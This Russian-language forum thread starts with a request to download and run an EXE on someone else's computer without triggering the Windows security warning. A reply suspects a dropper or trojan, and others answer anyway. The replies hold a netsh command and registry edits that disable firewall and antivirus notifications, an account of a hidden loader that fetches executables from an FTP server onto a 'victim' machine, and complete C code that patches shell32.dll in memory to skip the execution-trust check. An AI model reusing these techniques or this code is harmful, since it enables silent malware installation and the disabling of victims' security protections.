Добрый день! Никогда не сталкивался с этим, но возникла необходимость: на чужом компьютере запустить программу. Идея следующая - моя программа скачает нужный мне EXE-шник и запускает его. Но проблема в том, что на некоторых виндах вылезет сообщение безопасности Windows "Вы собираетесь запустить программу..." Как его обойти? На данный момент идея только одна: программно нажать кнопку "запустить" в этом сообщении.
Для того чтобы скачать и запустить экзешник необходимо запустить для начала как то эту вашу программу, которая произведет эти данные действия. И уж поскольку на то пошло, что это для вас не проблема, то и скачанную программу запускайте тем же способом, что и ту которая её скачивает.
А Вы не знаете, где почитать причины появления этого окна и т.п.? Как я уже говорил ранее подобного опыта вообще не было, нужно с чего-то начать.
Ну так и зачем эти извращения? Пусть он скачает и запустит ту, которую вы хотите скачивать и запускать программно.
Аха, тут же очевидно, это будущий бот-нет, либо троян. А та программа, которая скачивает и запускает другую программу, называется дроппером. К тому же методы обхода "Вы собираетесь запустить программу..." является задачей вирусологии. ТС, палитесь, ой как палитесь хотя бы сказали, о каких конкретнее речь идет-то. Это win7? Или мега пропатченная XP? И почему бы не выложить скрин этого самого сообщения о безопасности? И да, какой вообще язык программирования?
Никакого палева, это нужно для обновления игрового клиента. Такого плана сообщение я видел и на висте и на 7-ке. может быть и на XP есть К сожалению в данный момент нету компа с соответствующей операционкой под рукой А Вы уверены, что методы, которыми можно выполнить задачу зависят от ЯП? (мне не нужен готовый код, мне нужен толчок в нужном направлении, ведь 100% есть какие-то статьи по теме, но я пока ничего не нашел) но все же ЯП: Delphi Нет.
Сам когда-то писал такое обновления лаунчера для сетевой игры. Извиняюсь за свои предположения, просто вы начали так подозрительно говорить Каким методом запускали, что вылазило сообщение о безопасности?
если дроппер юзер запустит то просто выпиливаешь брандмауэр в реестре HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SecurityCenter параметр FirewallDisableNotify ставишь в 1 или через батник netsh firewall set opmode mode=disable затем параметр antivirusdisablenotify так же в 1, и просишь ребут так как применится это только после ребута.
я писал по какомуто примеру лоадер на дельфине, ставил его не форму своей программы, работу лоадера не видно было при его работе, и никаких запроов не возникало по ходу его работы.. файл .exe который скачивался на комп жертвы и запускался, находился на моем фтп сервере. з.ы. антивири не палили ничего.. единственное только если файл который будет скачиваться с фтп будет палевным, то авирь запищит, но если как ТС сказал это все легал и не трой (т.е. не палится), то будет все ок
ес прально понял то от этого вот придумал для windows 7 Sp1 (и 32 и 64 должно работать) так. запустили. теперь LoadLibrary("shell32.dll") теперь в памяти шелл32 ищем такой вот код (по паттерну): Code: 1 738147be 8bcf mov ecx,edi 2 738147c0 e833000000 call SHELL32!CExecuteApplication::_VerifyExecTrust (738147f8) 3 738147c5 83f801 cmp eax,1 4 738147c8 7c07 jl SHELL32!CExecuteApplication::Execute+0x33 (738147d1) [br=1] 5 738147ca 8bcf mov ecx,edi 6 738147cc e86c0b0000 call SHELL32!CExecuteApplication::_DoApplication (7381533d) 7 738147d1 8b4650 mov eax,dword ptr [esi+50h] 8 738147d4 5f pop edi делаем VirtualProtect(PAGE_EXECUTE_READWRITE) там где он стартует и затем занопливаем строку 2 и строку 4. вуаля, теперь при натравливании ShellExecute на заблокированные файлы предупреждение появляться не будет.
а вот накидал от руки + ЕХЕ http://www.sendspace.com/file/whm5v0 Code: #include <windows.h> #pragma comment(linker, "/ENTRY:start") #pragma comment(linker, "/MERGE:.rdata=.text") #pragma comment(linker, "/MERGE:.data=.text") #pragma comment(linker, "/SECTION:.text,ERW") ////////////////////////////////////////////////////////////////////////// bool bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask) { for(;*szMask;++szMask,++pData,++bMask) if(*szMask=='x' && *pData!=*bMask ) return false; return (*szMask) == NULL; } DWORD dwFindPattern(DWORD dwAddress,DWORD dwLen,BYTE *bMask,char * szMask) { for(DWORD i=0; i < dwLen; i++) if( bDataCompare( (BYTE*)( dwAddress+i ),bMask,szMask) ) return (DWORD)(dwAddress+i); return 0; } ////////////////////////////////////////////////////////////////////////// int __stdcall start() { DWORD rc; HMODULE shell32; PIMAGE_NT_HEADERS pnth; OSVERSIONINFOEX ovi; ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); GetVersionEx((LPOSVERSIONINFO)&ovi); if(ovi.dwBuildNumber != 7601) { MessageBoxA(0, "Windows 7 SP 1 (7601) required!",0 ,0); ExitProcess(0xBAD0C); } shell32 = GetModuleHandle("shell32.dll"); pnth = (PIMAGE_NT_HEADERS)((LPVOID)((BYTE *)shell32 + ((PIMAGE_DOS_HEADER)shell32)->e_lfanew)); if(rc = dwFindPattern((DWORD)shell32, (DWORD)pnth->OptionalHeader.SizeOfImage, (PBYTE)"\x8B\xCF\xE8\x33\x00\x00\x00\x83\xf8\01\x7C\x07", "xxxxxxxxxxxx")) { DWORD prot; VirtualProtect((LPVOID)rc, 20, PAGE_EXECUTE_READWRITE, &prot); // patch the verifier routine in shell32 *(DWORD*)((BYTE*)rc+2) = 0x90909090; *((BYTE*)rc+6) = 0x90; *(WORD*)((BYTE*)rc+10) = 0x9090; VirtualProtect((LPVOID)rc, 20, prot, &prot); } OPENFILENAME ofn; char szFile[260]; memset(&ofn, 0, sizeof(ofn)); ofn.lStructSize = sizeof ( ofn ); ofn.lpstrFile = szFile ; ofn.lpstrFile[0] = '\0'; ofn.nMaxFile = sizeof( szFile ); ofn.lpstrFilter = "All\0*.*\0PE\0*.exe\0"; ofn.nFilterIndex =1; ofn.Flags = OFN_PATHMUSTEXIST|OFN_FILEMUSTEXIST ; if(GetOpenFileNameA(&ofn)) ShellExecuteA(0, "open", szFile, 0, 0, SW_SHOW); ExitProcess(0); } аа забыл, это код под 32 разряда собирай только, на 64 не попрет